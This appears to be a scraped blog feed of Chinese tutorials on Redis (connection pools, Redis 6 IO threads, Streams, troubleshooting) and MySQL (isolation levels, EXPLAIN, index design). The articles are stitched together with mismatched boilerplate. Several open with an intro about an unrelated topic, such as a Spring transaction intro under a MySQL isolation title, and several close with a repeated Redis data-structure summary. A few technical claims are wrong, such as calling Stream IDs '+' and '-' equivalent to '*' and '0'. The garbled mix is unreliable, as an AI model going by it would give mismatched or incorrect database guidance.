  2. 配置优化：合理的maxmemory、timeout
  3. 慢查询：设置slowlog-log-slower-than
  4. 定期巡检：redis-cli --cluster check
  5. 应急方案：主从切换、备份恢复流程

十、总结

Redis线上问题排查需要系统化的思路：先定位现象层面（连接/性能/内存），再深入具体原因，最后根据场景选择解决方案。建议团队建立标准的Redis运维手册和应急预案。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 运维 故障排查 MySQL 事务隔离级别和幻读问题 //mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/ MySQL 事务隔离级别和幻读问题

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> MySQL SQL MySQL优化 Redis客户端连接池配置 //redis-client-connection-pool/ Redis客户端连接池配置

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、主流Java客户端对比

特性JedisLettuce
连接方式阻塞IONetty非阻塞IO
线程安全连接池单连接多线程共享
连接池需要可选
异步支持有限原生支持
响应式不支持支持(Reactor)
哨兵/Cluster支持支持
性能中高
维护活跃度中高（Spring默认）

推荐：新项目使用Lettuce，Spring Boot 2.x+ 默认使用Lettuce。

二、Jedis连接池配置

#

2.1 基础配置

@Configuration
public class JedisConfig {
    
    @Bean
    public JedisPool jedisPool() {
        JedisPoolConfig poolConfig = new JedisPoolConfig();
        
        // 基本配置
        poolConfig.setMaxTotal(100);           // 最大连接数
        poolConfig.setMaxIdle(20);             // 最大空闲连接
        poolConfig.setMinIdle(5);              // 最小空闲连接
        
        // 连接获取配置
        poolConfig.setMaxWaitMillis(3000);     // 获取连接最大等待时间
        poolConfig.setBlockWhenExhausted(true); // 连接耗尽时阻塞等待
        
        // 连接检测配置
        poolConfig.setTestOnBorrow(true);      // 获取连接时检测
        poolConfig.setTestOnReturn(true);      // 归还连接时检测
        poolConfig.setTestWhileIdle(true);     // 空闲时检测
        
        // 空闲连接检测
        poolConfig.setTimeBetweenEvictionRunsMillis(60000);  // 检测周期60秒
        poolConfig.setMinEvictableIdleTimeMillis(300000);    // 最小空闲时间5分钟
        poolConfig.setNumTestsPerEvictionRun(-1);            // 每次检测所有连接
        
        return new JedisPool(poolConfig, "localhost", 6379, 3000, "password");
    }
}

#

2.2 使用JedisPool

@Service
public class JedisService {
    
    @Autowired
    private JedisPool jedisPool;
    
    public String get(String key) {
        try (Jedis jedis = jedisPool.getResource()) {
            return jedis.get(key);
        }
    }
    
    public void set(String key, String value) {
        try (Jedis jedis = jedisPool.getResource()) {
            jedis.set(key, value);
        }
    }
}

#

2.3 Jedis Sentinel配置

@Bean
public JedisSentinelPool jedisSentinelPool() {
    Set<String> sentinels = new HashSet<>();
    sentinels.add("sentinel1:26379");
    sentinels.add("sentinel2:26379");
    sentinels.add("sentinel3:26379");
    
    JedisPoolConfig poolConfig = new JedisPoolConfig();
    poolConfig.setMaxTotal(100);
    poolConfig.setMaxIdle(20);
    
    return new JedisSentinelPool("mymaster", sentinels, poolConfig, "password");
}

#

2.4 Jedis Cluster配置

@Bean
public JedisCluster jedisCluster() {
    Set<HostAndPort> nodes = new HashSet<>();
    nodes.add(new HostAndPort("node1", 6379));
    nodes.add(new HostAndPort("node2", 6379));
    nodes.add(new HostAndPort("node3", 6379));
    
    JedisPoolConfig poolConfig = new JedisPoolConfig();
    poolConfig.setMaxTotal(100);
    
    return new JedisCluster(nodes, 5000, 5000, 3, "password", poolConfig);
}

三、Lettuce连接池配置

#

3.1 基础配置

# application.yml
spring:
  redis:
    host: localhost
    port: 6379
    password: 
    database: 0
    timeout: 3000ms
    lettuce:
      pool:
        max-active: 50        # 最大连接数（负值表示无限制）
        max-idle: 20          # 最大空闲连接
        min-idle: 5           # 最小空闲连接
        max-wait: 3000ms      # 获取连接最大等待时间
        time-between-eviction-runs: 60s  # 空闲连接检测周期
      shutdown-timeout: 200ms  # 关闭超时

#

3.2 高级配置

@Configuration
public class LettuceConfig {
    
    @Bean
    public LettuceConnectionFactory redisConnectionFactory() {
        RedisStandaloneConfiguration config = new RedisStandaloneConfiguration();
        config.setHostName("localhost");
        config.setPort(6379);
        
        // 连接池配置
        GenericObjectPoolConfig<Object> poolConfig = new GenericObjectPoolConfig<>();
        poolConfig.setMaxTotal(50);
        poolConfig.setMaxIdle(20);
        poolConfig.setMinIdle(5);
        poolConfig.setMaxWaitMillis(3000);
        
        LettucePoolingClientConfiguration poolingConfig = 
            LettucePoolingClientConfiguration.builder()
                .poolConfig(poolConfig)
                .commandTimeout(Duration.ofSeconds(3))
                .shutdownTimeout(Duration.ofMillis(200))
                .build();
        
        return new LettuceConnectionFactory(config, poolingConfig);
    }
    
    @Bean
    public RedisTemplate<String, Object> redisTemplate(LettuceConnectionFactory factory) {
        RedisTemplate<String, Object> template = new RedisTemplate<>();
        template.setConnectionFactory(factory);
        
        // 序列化配置
        template.setKeySerializer(new StringRedisSerializer());
        template.setValueSerializer(new GenericJackson2JsonRedisSerializer());
        template.setHashKeySerializer(new StringRedisSerializer());
        template.setHashValueSerializer(new GenericJackson2JsonRedisSerializer());
        
        template.afterPropertiesSet();
        return template;
    }
}

#

3.3 Lettuce Cluster配置

@Bean
public LettuceConnectionFactory redisClusterConnectionFactory() {
    RedisClusterConfiguration clusterConfig = new RedisClusterConfiguration();
    clusterConfig.clusterNode("node1", 6379);
    clusterConfig.clusterNode("node2", 6379);
    clusterConfig.clusterNode("node3", 6379);
    clusterConfig.setMaxRedirects(3);
    
    // 拓扑刷新配置
    ClusterTopologyRefreshOptions topologyRefreshOptions = 
        ClusterTopologyRefreshOptions.builder()
            .enablePeriodicRefresh(Duration.ofSeconds(30))
            .enableAllAdaptiveRefreshTriggers()
            .build();
    
    ClusterClientOptions clusterClientOptions = ClusterClientOptions.builder()
        .topologyRefreshOptions(topologyRefreshOptions)
        .validateClusterNodeMembership(false)
        .build();
    
    LettuceClientConfiguration clientConfig = LettuceClientConfiguration.builder()
        .clientOptions(clusterClientOptions)
        .readFrom(ReadFrom.REPLICA_PREFERRED)  // 优先从从节点读取
        .build();
    
    return new LettuceConnectionFactory(clusterConfig, clientConfig);
}

#

3.4 Lettuce读写分离

@Bean
public LettuceConnectionFactory redisConnectionFactory() {
    LettuceClientConfiguration clientConfig = LettuceClientConfiguration.builder()
        .readFrom(ReadFrom.REPLICA_PREFERRED)  // 优先从从节点读取
        .build();
    
    RedisStandaloneConfiguration config = new RedisStandaloneConfiguration("master", 6379);
    
    return new LettuceConnectionFactory(config, clientConfig);
}

// ReadFrom选项：
// MASTER: 只从主节点读取
// MASTER_PREFERRED: 优先主节点
// REPLICA: 只从从节点读取
// REPLICA_PREFERRED: 优先从节点（推荐）
// ANY: 任意节点
// ANY_REPLICA: 任意从节点

四、连接池参数详解

#

4.1 核心参数

参数说明建议值
maxTotal/max-active最大连接数50-100
maxIdle最大空闲连接20-50
minIdle最小空闲连接5-10
maxWait/max-wait获取连接等待时间3000ms
testOnBorrow获取时检测true（生产环境）
testOnReturn归还时检测true（生产环境）
testWhileIdle空闲时检测true
timeBetweenEvictionRuns检测周期60s
minEvictableIdleTime最小空闲时间300s

#

4.2 连接数计算

最大连接数建议：

max-active = (核心数 / (1 - 阻塞系数)) + 冗余

示例：
- 应用部署4台机器
- 每台机器连接数50
- 总共200连接

Redis服务端：
maxclients = 应用总连接数 + 预留（如监控、管理）
           = 200 + 50 = 250

五、监控和调优

#

5.1 Lettuce监控

@Component
public class LettuceMetrics {
    
    @Autowired
    private MeterRegistry meterRegistry;
    
    @Autowired
    private LettuceConnectionFactory connectionFactory;
    
    @Scheduled(fixedRate = 60000)
    public void collectMetrics() {
        ClientResources clientResources = connectionFactory.getClientResources();
        
        if (clientResources != null) {
            EventBus eventBus = clientResources.eventBus();
            
            // 监控连接创建/关闭事件
            eventBus.get().subscribe(event -> {
                if (event instanceof ConnectionCreatedEvent) {
                    meterRegistry.counter("redis.connection.created").increment();
                } else if (event instanceof ConnectionClosedEvent) {
                    meterRegistry.counter("redis.connection.closed").increment();
                }
            });
        }
    }
}

#

5.2 连接池状态监控

@Component
public class ConnectionPoolMetrics {
    
    @Autowired
    private GenericObjectPoolConfig<?> poolConfig;
    
    @Scheduled(fixedRate = 60000)
    public void reportPoolStats() {
        // 通过JMX获取连接池状态
        // 或使用自定义指标收集
    }
}

#

5.3 告警规则

# Prometheus告警
groups:
  - name: redis-client
    rules:
      - alert: RedisConnectionPoolExhausted
        expr: redis_client_connections_active / redis_client_connections_max > 0.9
        for: 5m
        labels:
          severity: critical
        annotations:
          summary: "Redis连接池耗尽"
          
      - alert: RedisConnectionTimeout
        expr: rate(redis_client_timeout_total[5m]) > 0
        for: 1m
        labels:
          severity: warning
        annotations:
          summary: "Redis连接超时"

六、常见问题

#

6.1 连接池耗尽

现象：获取连接超时
原因：
1. 连接数设置过小
2. 连接泄漏（未正确关闭）
3. 连接被防火墙断开但池不知道

解决：
1. 增加max-active
2. 检查连接泄漏
3. 启用testWhileIdle检测

#

6.2 连接超时

原因：
1. 网络问题
2. Redis服务端繁忙
3. 命令执行时间过长

解决：
1. 增加timeout配置
2. 优化慢查询
3. 检查网络延迟

#

6.3 大量TIME_WAIT

原因：客户端频繁创建/关闭连接

解决：
1. 使用连接池
2. 调整系统TCP参数
   net.ipv4.tcp_tw_reuse = 1
   net.ipv4.tcp_tw_recycle = 0

七、配置对比

场景JedisLettuce
Spring Boot不推荐推荐（默认）
高并发一般优秀
异步需求不支持原生支持
响应式不支持支持
配置复杂度简单中等

八、总结

连接池配置核心要点：

  1. 使用Lettuce：Spring Boot 2.x+ 默认，性能更好
  2. 合理设置连接数：根据并发量调整
  3. 启用连接检测：避免使用失效连接
  4. 监控连接池状态：及时发现异常
  5. 注意连接泄漏：确保正确释放连接

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 EXPLAIN 执行计划应该看哪些字段 //explain-zhi-xing-ji-hua-ying-gai-kan-na-xie-zi-duan/ EXPLAIN 执行计划应该看哪些字段

EXPLAIN 是优化 SQL 的入口工具，理解它的输出是每个后端工程师的基本功。本文讲清楚几个关键字段的含义。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 Redis 6多线程IO模型 //redis6-multithreaded-io/ Redis 6多线程IO模型

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、Redis单线程模型回顾

#

1.1 经典单线程模型

┌─────────────────────────────────────────┐
│           Redis 单线程模型               │
│                                          │
│  客户端1 ──┐                             │
│  客户端2 ──┼──> 连接队列 ──> 事件循环      │
│  客户端3 ──┘       │        (单线程)      │
│                    │                     │
│                    ▼                     │
│              ┌──────────┐               │
│              │ 读取请求  │               │
│              │ 解析命令  │               │
│              │ 执行命令  │               │
│              │ 发送响应  │               │
│              └──────────┘               │
└─────────────────────────────────────────┘

优点：
- 无锁操作，简单高效
- 无竞态条件
- 顺序执行保证一致性

局限：
- 网络IO和命令执行串行
- 多核CPU无法充分利用

#

1.2 单线程的性能瓶颈

Redis单线程的耗时构成：

处理一个请求：
1. 读取请求（网络IO）
2. 解析协议
3. 执行命令（内存操作，通常很快）
4. 发送响应（网络IO）

在10Gbps网络下：
- 读取1KB请求：约1us
- 执行命令：约1us
- 发送1KB响应：约1us
- 总计：约3us

QPS理论上限：1,000,000 / 3 ≈ 333,000

实际瓶颈往往在：
- 网络IO读写
- 协议解析
- 大量小请求的网络往返

二、Redis 6多线程IO

#

2.1 设计思想

Redis 6多线程IO模型：

┌─────────────────────────────────────────┐
│           主线程（事件循环）              │
│                                          │
│   ┌──────────────┐                     │
│   │  监听连接     │                     │
│   │  分配任务     │                     │
│   └──────────────┘                     │
│          │                               │
│          ▼                               │
│   ┌──────────────┐                     │
│   │  命令执行     │  <-- 保持单线程      │
│   │  （关键）     │                     │
│   └──────────────┘                     │
│          │                               │
│          ▼                               │
│   ┌──────────────┐                     │
│   │  分配响应     │                     │
│   └──────────────┘                     │
└─────────────────────────────────────────┘
          │
          ▼ 分配IO任务
┌─────────────────────────────────────────┐
│  IO线程1    IO线程2    IO线程3         │
│                                          │
│  读取请求   读取请求   读取请求          │
│  协议解析   协议解析   协议解析          │
│  发送响应   发送响应   发送响应          │
└─────────────────────────────────────────┘

关键设计：
- 命令执行仍在主线程单线程执行
- IO线程只处理：读取请求、协议解析、发送响应
- 通过锁-free的设计，主线程和IO线程通过队列协作

#

2.2 为什么命令执行不改为多线程

1. 复杂性：需要大量锁，增加复杂度
2. 竞态条件：多线程访问共享数据结构
3. 性能下降：锁竞争可能抵消多线程优势
4. 破坏原子性：单条命令的原子性保证

Redis的设计哲学：
- 命令执行保持单线程（简单高效）
- IO密集型操作使用多线程（提升吞吐）

三、配置和使用

#

3.1 开启多线程IO

# redis.conf (Redis 6.0+)

# 开启多线程IO
io-threads-do-reads yes
io-threads 4

# 参数说明：
# io-threads: IO线程数量（包含主线程）
#   - 建议设置为CPU核心数
#   - 默认1（单线程，即关闭多线程IO）
#   - 最大128
#
# io-threads-do-reads: 是否用IO线程处理读取
#   - 默认no（只用于发送响应）
#   - 设为yes后，读取和发送都用多线程

#

3.2 配置建议

# 4核服务器
io-threads 4

# 8核服务器
io-threads 8

# 16核服务器
io-threads 16

# 超过16核的服务器
# 建议io-threads设为8（收益递减）
io-threads 8

#

3.3 验证配置

# 查看配置
redis-cli CONFIG GET io-threads*
# 1) "io-threads"
# 2) "4"
# 3) "io-threads-do-reads"
# 4) "yes"

# 查看线程信息（Redis 6.2+）
redis-cli CLIENT LIST | grep flags=M

# 查看INFO
redis-cli INFO server | grep io_threads

四、性能测试

#

4.1 测试环境

硬件：
- CPU: Intel Xeon E5-2680 v4 @ 2.4GHz (14核28线程)
- 内存: 64GB
- 网络: 10Gbps

软件：
- Redis 6.2
- 客户端: redis-benchmark

#

4.2 测试命令

# 单线程模式（io-threads 1）
redis-benchmark -h localhost -p 6379 -t get -n 1000000 -c 50 -P 100 --threads 4

# 多线程模式（io-threads 4）
redis-benchmark -h localhost -p 6379 -t get -n 1000000 -c 50 -P 100 --threads 4

#

4.3 性能对比

场景单线程多线程(4)提升
GET (1KB value)250K QPS450K QPS80%
SET (1KB value)220K QPS400K QPS82%
GET (10KB value)180K QPS350K QPS94%
SET (10KB value)160K QPS310K QPS94%
Pipeline GET1.5M QPS2.2M QPS47%
Lua脚本200K QPS200K QPS0%

结论：

  • 大value场景提升更明显（IO瓶颈更明显）
  • Pipeline场景提升有限（已减少IO开销）
  • Lua脚本无提升（命令执行仍是单线程）

五、源码分析

#

5.1 IO线程初始化

// networking.c
void initThreadedIO(void) {
    server.io_threads_active = 0;
    
    // 创建IO线程
    for (int i = 0; i < server.io_threads_num; i++) {
        io_threads_list[i] = listCreate();
        
        if (i == 0) continue;  // 线程0是主线程
        
        pthread_t tid;
        pthread_create(&tid, NULL, IOThreadMainFunction, (void*)(unsigned long)i);
        io_threads[i] = tid;
    }
}

// IO线程主函数
void *IOThreadMainFunction(void *myid) {
    long id = (unsigned long)myid;
    
    while(1) {
        // 等待主线程分配任务
        for (int j = 0; j < 1000000; j++) {
            if (io_threads_pending[id] != 0) break;
        }
        
        // 处理分配到的客户端
        listIter li;
        listNode *ln;
        listRewind(io_threads_list[id], &li);
        while((ln = listNext(&li)) != NULL) {
            client *c = listNodeValue(ln);
            
            // 读取请求或发送响应
            if (io_threads_op == IO_THREADS_OP_WRITE) {
                writeToClient(c, 0);
            } else if (io_threads_op == IO_THREADS_OP_READ) {
                readQueryFromClient(c->conn);
            }
            
            listDelNode(io_threads_list[id], ln);
        }
        
        io_threads_pending[id] = 0;
    }
}

#

5.2 任务分配

// 将客户端分配给IO线程
int handleClientsWithPendingWritesUsingThreads(void) {
    int processed = listLength(server.clients_pending_write);
    
    if (processed == 0) return 0;
    
    // 如果只少量客户端，直接用主线程处理
    if (server.io_threads_num == 1 || processed < IO_THREADS_MIN_OPS) {
        return handleClientsWithPendingWrites();
    }
    
    // 分配客户端到各IO线程
    listIter li;
    listNode *ln;
    listRewind(server.clients_pending_write, &li);
    int item_id = 0;
    while((ln = listNext(&li)) != NULL) {
        client *c = listNodeValue(ln);
        int target_id = item_id % server.io_threads_num;
        listAddNodeTail(io_threads_list[target_id], c);
        item_id++;
    }
    
    // 通知IO线程开始工作
    io_threads_op = IO_THREADS_OP_WRITE;
    for (int j = 1; j < server.io_threads_num; j++) {
        io_threads_pending[j] = 1;
    }
    
    // 主线程也处理一部分
    handleClientsWithPendingWrites();
    
    // 等待所有IO线程完成
    while(1) {
        int pending = 0;
        for (int j = 1; j < server.io_threads_num; j++) {
            pending += io_threads_pending[j];
        }
        if (pending == 0) break;
    }
    
    return processed;
}

六、生产环境建议

#

6.1 什么时候开启多线程IO

场景建议
大量小value读写开启，效果显著
大value读写开启，效果最显著
主要是Lua脚本不开启，无提升
主要是Pipeline效果有限，可不开
CPU核心数 < 4不开启，主线程已够用
低延迟要求不开启，多线程有微小延迟

#

6.2 配置模板

# redis.conf

# 基础配置
port 6379
daemonize yes

# 内存配置
maxmemory 32gb
maxmemory-policy allkeys-lru

# 持久化配置
appendonly yes
appendfsync everysec

# IO线程配置（根据CPU核心数调整）
io-threads 8
io-threads-do-reads yes

# 其他优化
tcp-keepalive 300
timeout 0

#

6.3 监控多线程性能

# 查看当前配置
redis-cli INFO server | grep io_threads

# 监控QPS
redis-cli INFO stats | grep instantaneous_ops_per_sec

# 监控延迟
redis-cli --latency-history -i 1

# 对比开启前后的性能
# 使用redis-benchmark测试

七、常见问题

#

7.1 多线程IO不生效

# 检查Redis版本
redis-cli INFO server | grep redis_version
# 需要 >= 6.0

# 检查配置
redis-cli CONFIG GET io-threads
# 需要 > 1

# 检查是否编译支持
redis-cli INFO server | grep multithread

#

7.2 多线程IO导致延迟增加

原因：
- 线程切换开销
- 任务分配和同步开销

解决：
- 减少io-threads数量
- 只开启写多线程（io-threads-do-reads no）
- 确保有足够的并发客户端

#

7.3 与CPU亲和性

# 绑定Redis到特定CPU核心
# 避免IO线程和主线程在不同NUMA节点

taskset -c 0-7 redis-server /etc/redis/redis.conf

# 或设置CPU亲和性
# redis.conf
# server_cpulist 0-7

八、Redis 6+ 其他新特性

#

8.1 ACL（访问控制列表）

# 创建用户
ACL SETUSER alice on >password ~* +@all

# 限制命令
ACL SETUSER bob on >password ~* +get +set -@dangerous

# 查看用户列表
ACL LIST

#

8.2 SSL/TLS支持

# redis.conf
port 0
tls-port 6379
tls-cert-file /path/to/redis.crt
tls-key-file /path/to/redis.key
tls-ca-cert-file /path/to/ca.crt

#

8.3 客户端缓存（Tracking）

# 开启客户端缓存
CLIENT TRACKING on

# 应用层缓存失效通知
# Redis通过Invalidation消息通知客户端缓存失效

九、总结

特性Redis 5Redis 6Redis 7
IO模型单线程多线程IO多线程IO+Function
ACL无有有
SSL无有有
客户端缓存无有有
多线程命令无无部分支持

Redis 6多线程IO的核心价值：

  1. 不破坏单线程执行模型：命令执行仍单线程
  2. 显著提升吞吐量：大value场景提升80-90%
  3. 简单配置：只需两个参数
  4. 向后兼容：默认关闭，不影响现有部署

使用建议：

  1. 4核以上服务器建议开启
  2. io-threads设为CPU核心数或略少
  3. 大value场景效果最明显
  4. 配合redis-benchmark验证效果

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 MySQL 索引设计的几个核心原则 //mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/ MySQL 索引设计的几个核心原则

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL SQL MySQL优化 Redis Stream消息队列 //redis-stream-message-queue/ Redis Stream消息队列

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、Stream基础

#

1.1 什么是Stream

Stream是Redis的日志型数据结构：

┌─────────────────────────────────────────────────────────────┐
│                      Stream: mystream                        │
│                                                              │
│  ID                    │  Field-Value Pairs                  │
│  ──────────────────────┼────────────────────────────────     │
│  1724620800000-0       │  sensor-id: 1234, temperature: 25   │
│  1724620801000-0       │  sensor-id: 1235, temperature: 26   │
│  1724620802000-0       │  sensor-id: 1236, temperature: 24   │
│  1724620803000-0       │  sensor-id: 1234, temperature: 25.5 │
│  ...                   │  ...                                │
└─────────────────────────────────────────────────────────────┘

特点：
- 消息按ID有序排列
- ID由时间戳+序列号组成
- 消息持久化存储
- 支持消费者组

#

1.2 Stream ID格式

Stream ID: <millisecondsTime>-<sequenceNumber>

示例：
1724620800000-0    # 时间戳1724620800000毫秒，序列号0
1724620800000-1    # 同一时间，序列号1
1724620801000-0    # 下一毫秒，序列号0

特殊ID：
*           # 让Redis自动生成ID
0           # 最小ID
$           # 最大ID（最新）
+           # 同*
-           # 同0

二、Stream命令

#

2.1 添加消息

# XADD stream_name [MAXLEN len] [ID id] field value [field value ...]

# 添加消息（自动生成ID）
XADD mystream * sensor-id 1234 temperature 25
# 返回: "1724620800000-0"

# 添加消息（指定ID，通常不推荐）
XADD mystream 1724620800001-0 sensor-id 1235 temperature 26

# 限制Stream长度（近似裁剪）
XADD mystream MAXLEN ~ 1000 * sensor-id 1236 temperature 24

# 精确限制长度
XADD mystream MAXLEN 1000 * sensor-id 1237 temperature 27

#

2.2 读取消息

# XRANGE: 按范围读取
XRANGE mystream - +           # 读取所有
XRANGE mystream - + COUNT 10  # 读取前10条
XRANGE mystream 1724620800000-0 1724620800001-0  # 读取指定范围

# XREVRANGE: 反向读取
XREVRANGE mystream + - COUNT 10  # 读取最新10条

# XREAD: 阻塞读取（类似List的BLPOP）
XREAD BLOCK 5000 STREAMS mystream 0        # 从开头读取，阻塞5秒
XREAD BLOCK 0 STREAMS mystream $           # 从最新位置读取，永久阻塞
XREAD COUNT 10 STREAMS mystream 0          # 非阻塞读取10条

#

2.3 删除消息

# XDEL: 删除指定消息
XDEL mystream 1724620800000-0

# XTRIM: 裁剪Stream长度
XTRIM mystream MAXLEN 1000      # 精确裁剪到1000条
XTRIM mystream MAXLEN ~ 1000    # 近似裁剪

#

2.4 获取Stream信息

# XLEN: 获取消息数量
XLEN mystream

# XINFO STREAM: 获取Stream详细信息
XINFO STREAM mystream

# XINFO GROUPS: 获取消费者组信息
XINFO GROUPS mystream

# XINFO CONSUMERS: 获取消费者信息
XINFO CONSUMERS mystream mygroup

三、消费者组

#

3.1 消费者组概念

┌─────────────────────────────────────────┐
│              Stream: orders              │
└─────────────────────────────────────────┘
              │
    ┌─────────┴─────────┐
    ▼                   ▼
┌─────────┐       ┌─────────┐
│ Group A │       │ Group B │
│consumer1│       │consumer3│
│consumer2│       │consumer4│
└─────────┘       └─────────┘

特点：
- 同组内消息不重复消费（负载均衡）
- 不同组独立消费（广播）
- 支持消息确认（ACK）
- 支持pending列表（未确认消息）

#

3.2 消费者组命令

# XGROUP CREATE: 创建消费者组
XGROUP CREATE mystream mygroup $ MKSTREAM
# $: 从最新消息开始
# 0: 从第一条消息开始
# MKSTREAM: Stream不存在则创建

# XREADGROUP: 消费者组读取
XREADGROUP GROUP mygroup consumer1 COUNT 10 STREAMS mystream >
# >: 读取未分配给任何消费者的消息

# XACK: 确认消息
XACK mystream mygroup 1724620800000-0 1724620800001-0

# XPENDING: 查看pending消息
XPENDING mystream mygroup
XPENDING mystream mygroup - + 10

# XCLAIM: 转移未确认消息
XCLAIM mystream mygroup consumer2 3600000 1724620800000-0
# 3600000: 空闲时间超过1小时的pending消息

# XGROUP DESTROY: 删除消费者组
XGROUP DESTROY mystream mygroup

四、Java中使用Stream

#

4.1 Spring Data Redis

@Service
public class StreamService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    /**
     * 添加消息到Stream
     */
    public RecordId addMessage(String streamKey, Map<String, String> message) {
        ObjectRecord<String, String> record = StreamRecords.newRecord()
            .in(streamKey)
            .ofMap(message);
        
        return redis.opsForStream().add(record);
    }
    
    /**
     * 创建消费者组
     */
    public String createConsumerGroup(String streamKey, String groupName) {
        return redis.opsForStream().createGroup(streamKey, groupName);
    }
    
    /**
     * 消费者组读取消息
     */
    public List<MapRecord<String, Object, Object>> readMessages(
            String streamKey, String groupName, String consumerName, int count) {
        
        Consumer consumer = Consumer.from(groupName, consumerName);
        
        StreamReadOptions options = StreamReadOptions.empty()
            .count(count)
            .block(Duration.ofSeconds(5));
        
        StreamOffset<String> offset = StreamOffset.create(streamKey, ReadOffset.lastConsumed());
        
        return redis.opsForStream().read(consumer, options, offset);
    }
    
    /**
     * 确认消息
     */
    public Long acknowledge(String streamKey, String groupName, String... recordIds) {
